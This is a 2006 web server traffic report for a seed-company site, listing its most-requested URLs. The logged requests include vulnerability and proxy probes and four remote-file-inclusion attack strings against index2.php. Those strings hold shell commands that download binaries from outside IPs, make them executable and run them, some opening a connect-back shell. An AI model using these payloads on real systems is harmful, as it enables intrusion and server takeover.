http://sugarbeetseed.com

 

  Request Report  

The Request Report identifies the most popular web pages on the site and how often they were accessed.

This report shows the first 200 results by number of requests. This report is sorted by number of requests.


File NameNumber of requestsPercentage of the requestsNumber of bytes transferredPercentage of the bytesDate and time of last access
1./19780.08%2.406 MB94.94%Apr. 30, 2006 23:23
2./xmlrpc.php124.88%1.828 KB0.07%Apr. 30, 2006 12:43
3./graffs/roberta.html114.47%9.539 KB0.37%Apr. 27, 2006 12:58
4./adxmlrpc.php93.66%1.354 KB0.05%Apr. 30, 2006 12:39
5.http://www.ebay.com/41.63%56.828 KB2.19%Apr. 17, 2006 04:14
6./index2.php41.63%640.000 B0.02%Apr. 22, 2006 04:32
    /index2.php?option=com_content&do_pdf=1&id=1index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://69.13.31.57/cmd.gif?&cmd=cd /tmp;wget 69.13.31.57/cback;chmod 744 cback;./cback 208.100.8.1 8080;echo YYY;echo|10.41%160.000 B0.01%Apr. 15, 2006 10:43
    /index2.php?option=com_content&do_pdf=1&id=1index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://69.13.31.57/cmd.gif?&cmd=cd /tmp;wget 69.13.31.57/cback;chmod 744 cback;./cback 129.8.238.39 8080;echo YYY;echo|10.41%160.000 B0.01%Apr. 22, 2006 04:32
    /index2.php?option=com_content&do_pdf=1&id=1index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://210.3.4.193/cmd.txt?&cmd=cd /tmp;wget 70.168.74.193/strange;chmod 744 strange;./strange;cd /var/tmp;curl -o arts http://207.90.211.54/arts;chmod 744 arts;./arts;echo YYY;echo|10.41%160.000 B0.01%Apr. 5, 2006 00:05
    /index2.php?option=com_content&do_pdf=1&id=1index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://210.3.4.193/cmd.txt?&cmd=cd /tmp;wget 70.168.74.193/strange;chmod 744 strange;./strange;cd /var/tmp;curl -o ar http://207.90.211.54/ar;chmod 744 ar;./ar;echo YYY;echo|10.41%160.000 B0.01%Apr. 12, 2006 11:07
7./main.php31.22%462.000 B0.02%Apr. 27, 2006 18:41
8.http://www.yahoo.com/31.22%44.037 KB1.70%Apr. 19, 2006 15:01
9.http://www.qq.com/10.41%16.189 KB0.62%Apr. 11, 2006 04:40
10./thisdoesnotexistahaha.php10.41%175.000 B0.01%Apr. 28, 2006 03:45
11.http://172.184.207.104:25/10.41%240.000 B0.01%Apr. 29, 2006 08:52


This report was generated on May 1, 2006 03:40.
Report time frame April 1, 2006 01:00 to April 30, 2006 23:23.